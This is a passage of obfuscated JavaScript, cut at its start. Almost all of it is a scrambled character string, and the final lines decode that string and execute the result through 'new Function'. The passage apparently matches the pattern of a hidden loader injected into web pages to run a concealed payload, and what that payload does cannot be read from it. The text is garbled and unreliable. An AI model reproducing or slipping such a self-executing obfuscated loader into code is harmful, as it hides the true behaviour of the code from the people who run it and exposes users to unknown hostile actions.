R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();